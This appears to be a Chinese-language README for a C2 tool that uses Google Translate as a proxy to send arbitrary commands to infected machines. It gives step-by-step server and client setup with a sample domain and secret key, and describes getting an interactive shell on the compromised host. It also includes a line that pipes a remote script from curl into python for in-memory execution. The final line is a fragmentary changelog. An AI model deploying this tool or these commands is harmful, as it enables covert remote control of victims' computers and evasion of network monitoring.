该工具利用 谷歌翻译 作为代理,向被感染机器发送任意命令。
[被感染机器] ==HTTPS==> [谷歌翻译] ==HTTP==> [C2]
首先你需要一台VPS和一个域名,域名可以在 Freenom 免费获取。
在你的VPS上运行 server.py
python2.7 server.py
Server running on port: 80
Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062
它会生成一个密钥,该密钥将在客户端使用。
在能访问 谷歌翻译 的计算机上运行客户端,提供域名和服务器生成的密钥。
bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
现在你拥有了一个使用命名管道文件的交互式Shell,是的,你可以 cd 进入目录。
你首先需要 下载 二进制文件或自行编译,然后操作过程与bash客户端相同,
./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062
使用此客户端,你可以在Linux、Mac和Windows上运行,但该客户端目前还不具备交互式Shell。
在阅读了这篇 博客文章 之后,我对脚本 inmemory-linux.py 进行了简单修改以实现GTRS的内存执行,只需修改脚本中的主机和密钥,然后将其托管到服务器上并用curl执行。
curl https://yourserver.ml/inmemory-linux.py | python
或者你也可以采用 YouTube 的方式来托管该脚本。
.bashrc这样的大文件。通过使用User-Agent头发送数据已修复此问题。xmllint,该工具位于libxml2-utils包中。问题已修复,现在客户端也使用Go编写。